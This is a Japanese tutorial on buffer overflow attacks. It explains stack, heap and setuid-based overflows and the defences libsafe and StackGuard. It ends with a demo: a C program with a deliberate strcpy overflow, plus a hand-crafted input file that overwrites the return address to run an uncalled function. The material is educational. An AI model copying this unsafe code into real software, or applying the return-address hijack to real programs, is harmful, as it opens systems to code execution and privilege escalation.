バッファオーバーフロー攻撃

バッファオーバーフロー(BOF)攻撃とは

OSやプログラムの入力データ処理に関するバグを突いてメモリ上に不正データを書き込むことで、システムへの侵入や管理者権限の取得を試みる手法です。


バッファ(buffer) プログラムが同じ形式のデータを複数個格納するためにメモリ上に確保する領域のことをバッファ領域といいます。バッファ領域が確保されるメモリには、バッファの利用方法によって主にスタックとヒープの2種類が存在します。
スタック(stack) スタックとは一時的に利用するデータを格納するためにメモリ領域です。最後に書き込んだデータが最初に呼び出される後入れ先出し(LastInFirstOut)の処理方式です。関数を呼び出す際はリターンアドレス(子関数からの戻り先アドレス)がスタックに格納されます。
ヒープ(heap) 動的に確保可能なメモリの領域です。ヒープ (heap) とは、「山積み」という言葉の中の『山』をさす英単語です。
バッファオーバーフロー(バッファオーバーラン) 確保したメモリ領域(バッファ)を超えてデータが入力された場合に、CPUがバッファ領域を超えて情報を格納することで、領域があふれて(オーバーフロー)しまうことです。バッファオーバーフローが起こってしまうと、メモリ上の不正な場所に情報を格納することになります。これにより、プログラムが誤動作することになります。

攻撃手法

スタックBOF

バッファオーバーフローを引き起こすことで、リターンアドレスが書き換えられてしまうと、親関数に戻る際に正常なアドレスに戻れなくなります。

このバッファオーバーフローを利用して、リターンアドレスに「悪意のあるコードを格納しているメモリアドレス」をセットし、親関数に戻る際に本来の制御を横取りして悪意のあるコードを実行することができます。


ヒープBOF

ヒープ領域でバッファオーバーフローを起こす手法。

ヒープ領域に大量のデータを送りつけることでデータをあふれさせ、本来書き込むことができない隣接したメモリ領域へデータが書き込むことで、破壊/権限取得を行います。


setuid/setgidのBOF

setuid/setgid属性のコマンドに大量のデータを送りつけてBOF状態を引き起こし、root権限を取得する手法です。

例えば、setuidのシェルコード(シェル(/bin/sh)を起動してコマンドを受け付けるようにするプログラム)を実行するプログラムをバッファオーバーフローで不正実行させた場合には、root権限を奪取することが可能です。

setuidプログラムを不正実行した場合、root権限でそのプログラムを実行できますので、シェルコードを実行させることが可能であれば、root権限のシェルを起動できることとなります。

これは、ローカルユーザは誰でも不正に管理者権限を入手できることを意味します。


BOFへの対策

libsafeを利用する

バッファオーバフロー対策用のライブラリです。

libsafeを使えば、C言語標準(ANSI-C)のライブラリに含まれる標準関数を呼び出す際に引き起こされるバッファ・オーバーフローを抑えられます。

libsafeはライブラリの呼び出し順序を変更し、バッファ・オーバーフローをチェックするコードを読み込ませた後に、本来呼び出されるライブラリの内容を呼び出します。


StackGuard

StackGuardはGNU C Compiler(gcc)の拡張版です。

StackGuardでコンパイルされたプログラムは、実行時にはリターン・アドレスに「カナリア」と呼ばれる確認用のコードを付加します。

関数が戻された際にカナリアコードが変更されていた場合にはバッファ・オーバーフローが発生したと判断し,プログラムを停止させるようになっています。


同様のコンパイラとして「StackShield」があります。

StackShieldもgccの拡張版です。

StackGuardとの違いは,確認用コード「カナリア」の保護方法です。


バッファオーバーフローの実行例

スタックバッファオーバーフローを発生させ、関数のリターンアドレスを書き換えて、呼ばれないはずの関数を実行させます。

バッファオーバーフローするソースコードを用意する。

外部ファイル(datafile.txt)を読み込んでbuff[BUFSIZ]にデータを格納し、buffをmsg[16]にstrcpy()でコピーするC言語プログラム(bof.c)です。

buffのデータが16Bytes以上であればバッファオーバーフローを起こります。

mark変数はメモリをダンプした際の目印です。使用していない場合にコンパイラによる最適化で削除されないように「volatile」を指定します。



#include <stdio.h>
#include <stdlib.h>
#include <string.h>

/*!
 * @brief      スタックをダンプする
 * @param[in]  ptr    メモリアドレス
 * @param[in]  counts 表示するアドレス行数
 */
static void
stack_dump(void* ptr, int counts)
{
    unsigned char uc_buf[4];
    unsigned long *ul_ptr = (unsigned long *)ptr;
    int i;

    printf("=========================================\n");
    printf(" address | var:long | +0 +1 +2 +3 | 0123 \n");
    printf("-----------------------------------------\n");

    for(i=0; i<counts; i++){
        /* アドレスとアドレス値を出力する */
        printf(" %08x| %08x", &ul_ptr[i], ul_ptr[i]);

        /* Byteごとのアドレス値を出力する */
        memcpy(uc_buf, &ul_ptr[i], sizeof(uc_buf));
        printf(" | %02x %02x %02x %02x", uc_buf[0], uc_buf[1], uc_buf[2], uc_buf[3]);

        /* アドレス値の文字を出力する */
        if((uc_buf[0] < 32) || (uc_buf[0] > 126)) uc_buf[0] = '.';
        if((uc_buf[1] < 32) || (uc_buf[1] > 126)) uc_buf[1] = '.';
        if((uc_buf[2] < 32) || (uc_buf[2] > 126)) uc_buf[2] = '.';
        if((uc_buf[3] < 32) || (uc_buf[3] > 126)) uc_buf[3] = '.';
        printf(" | %c%c%c%c\n", uc_buf[0], uc_buf[1], uc_buf[2], uc_buf[3]);
    }

    printf("=========================================\n");
}

/*!
 * @brief  ソースコードでは呼び出されない関数
 */
static void
func2(void)
{
    printf("Called by buffer overflow!");
    exit(0);
}

/*!
 * @brief  オーバーフローする関数
 */
static void
func1(const char *buff)
{
    char msg[16];
    long mark = 0x11111111;

    /* 領域をはみ出して文字列をコピーする */
    memset(msg, 0, sizeof(msg));
    strcpy(msg, buff);

    stack_dump(&mark, 24);
}

int
main(void)
{
    char buff[BUFSIZ];
    char *filename = "datafile.txt";
    volatile long mark = 0x11111111;
    FILE *fp = NULL;

    /* ファイルを読み込む */
    memset(buff, 0, sizeof(buff));
    fp = fopen(filename, "r");
    fgets(buff, sizeof(buff)-1, fp);
    fclose(fp);

    /* 関数のアドレスを表示する */
    printf("func1() address: %p\n", func1);
    printf("func2() address: %p\n", func2);

    /* バッファオーバーフローさせる */
    func1(buff);

    return(0);
}

コンパイルして実行する

上記ソースコードをコンパイルして、実行します。

また、外部ファイル(datafile.txt)をまずは正常終了するように記述します。


> cat datafile.txt
qwerty
> gcc -O0 bof.c -o bof.exe
> ./bof.exe

表示されるメモリダンプは以下の通りです。

mark変数を目印としてスタックを確認します。メモリの0022fcc8番地にはfunc1()関数からmain()関数へのリターンアドレスが設定されています。


=========================================
 address | var:long | +0 +1 +2 +3 | 0123
-----------------------------------------
 0022fcac| 11111111 | 11 11 11 11 | .... <- func1():mark(0x11111111)
 0022fcb0| 72657771 | 71 77 65 72 | qwer <- msg[ 0] - msg[ 3]
 0022fcb4| 00007974 | 74 79 00 00 | ty.. <- msg[ 4] - msg[ 7]
 0022fcb8| 00000000 | 00 00 00 00 | .... <- msg[ 8] - msg[11]
 0022fcbc| 00000000 | 00 00 00 00 | .... <- msg[12] - msg[15]
 0022fcc0| ad6f3f64 | 64 3f 6f ad | d?o.
 0022fcc4| fffffffe | fe ff ff ff | ....
 0022fcc8| 0022fef8 | f8 fe 22 00 | ..". <- リターンアドレス
 0022fccc| 0040194f | 4f 19 40 00 | O.@.
 0022fcd0| 0022fce8 | e8 fc 22 00 | ..".
 0022fcd4| 00401817 | 17 18 40 00 | ..@.
 0022fcd8| 75b32960 | 60 29 b3 75 | `).u
 0022fcdc| 002d0150 | 50 01 2d 00 | P.-.
 0022fce0| 00000000 | 00 00 00 00 | ....
 0022fce4| 11111111 | 11 11 11 11 | .... <- main():mark(0x11111111)
 0022fce8| 72657771 | 71 77 65 72 | qwer <- main():buff
 0022fcec| 00007974 | 74 79 00 00 | ty.. <- main():buff
 0022fcf0| 00000000 | 00 00 00 00 | ....
 0022fcf4| 00000000 | 00 00 00 00 | ....
 0022fcf8| 00000000 | 00 00 00 00 | ....
 0022fcfc| 00000000 | 00 00 00 00 | ....
 0022fd00| 00000000 | 00 00 00 00 | ....
 0022fd04| 00000000 | 00 00 00 00 | ....
 0022fd08| 00000000 | 00 00 00 00 | ....
=========================================

バッファオーバーフローを発生させて、リターンアドレスを書き換える

メモリ内のリターンアドレスを書き換えて、呼び出されないはずの関数「func2」を実行させます。

読み込んだ外部ファイルがリターンアドレスを上書きする位置に、func2()関数のアドレスを記述します。

関数のアドレスは以下の通りです。なお、外部ファイルに記述する際にはリトルエンディアンにする必要があります。


func2() address: 00401817 -> 17 18 40 00

外部ファイルの編集にはバイナリエディタを利用します。

リターンアドレス位置までのデータには「00」以外のデータを入力しておきます。


> xxd datafile.txt
0000000: 7177 6572 7479 6161 6161 6161 6262 6262  qwertyaaaaaabbbb
0000010: e77d c46c feff ffff f8fe 22ff 1718 4000  .}.l......"...@.

外部ファイルを書き換えたら、再度プログラムを実行させます。


> bof.exe
func1() address: 00401835
func2() address: 00401817
=========================================
 address | var:long | +0 +1 +2 +3 | 0123
-----------------------------------------
 0022fcac| 11111111 | 11 11 11 11 | ....
 0022fcb0| 72657771 | 71 77 65 72 | qwer
 0022fcb4| 61617974 | 74 79 61 61 | tyaa
 0022fcb8| 61616161 | 61 61 61 61 | aaaa
 0022fcbc| 62626262 | 62 62 62 62 | bbbb
 0022fcc0| 6cc47de7 | e7 7d c4 6c | .}.l
 0022fcc4| fffffffe | fe ff ff ff | ....
 0022fcc8| ff22fef8 | f8 fe 22 ff | ..".
 0022fccc| 00401817 | 17 18 40 00 | ..@.
 0022fcd0| 0022fce8 | e8 fc 22 00 | ..".
 0022fcd4| 00401817 | 17 18 40 00 | ..@.
 0022fcd8| 75b32960 | 60 29 b3 75 | `).u
 0022fcdc| 004f0150 | 50 01 4f 00 | P.O.
 0022fce0| 00000000 | 00 00 00 00 | ....
 0022fce4| 11111111 | 11 11 11 11 | ....
 0022fce8| 72657771 | 71 77 65 72 | qwer
 0022fcec| 61617974 | 74 79 61 61 | tyaa
 0022fcf0| 61616161 | 61 61 61 61 | aaaa
 0022fcf4| 62626262 | 62 62 62 62 | bbbb
 0022fcf8| 6cc47de7 | e7 7d c4 6c | .}.l
 0022fcfc| fffffffe | fe ff ff ff | ....
 0022fd00| ff22fef8 | f8 fe 22 ff | ..".
 0022fd04| 00401817 | 17 18 40 00 | ..@.
 0022fd08| 00000000 | 00 00 00 00 | ....
=========================================
Called by buffer overflow!

func2()関数が実行され、「Called by buffer overflow!」という文字列が出力されます。

さらに、スタックダンプを確認するとリターンアドレスが「17 18 40 00」と書き換わっていることが確認できます。


これが、バッファオーバーフローを発生させて不正処理を実行する基本動作です。


関連ページ